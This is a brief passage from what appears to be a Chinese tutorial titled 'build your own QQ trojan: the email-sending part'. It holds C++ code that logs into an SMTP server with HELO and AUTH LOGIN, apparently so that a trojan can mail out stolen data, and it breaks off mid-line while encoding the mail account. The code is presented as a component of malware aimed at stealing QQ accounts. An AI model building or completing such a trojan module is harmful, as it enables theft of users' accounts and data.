自己动手做QQ木马----邮件发送篇

//Say HELLO TO MAIL SERVER

arIn.ReadString(strResponse);

if ("220" != strResponse.Left(3)) break;

CString strTemp;

gethostname(strTemp.GetBuffer(256), 256);

strTemp.ReleaseBuffer();

str.Format("HELO %s\r\n", (LPCSTR)strTemp);

arOut.WriteString(str); arOut.Flush();

arIn.ReadString(strResponse);

if ("250" != strResponse.Left(3)) break;

//CERTIFICATION

str = "AUTH LOGIN \r\n";

arOut.WriteString(str); arOut.Flush();

arIn.ReadString(strResponse);

if ("334" != strResponse.Left(3)) break;

str = base64.Encode(LPCSTR(m_mailMsg.mail_account),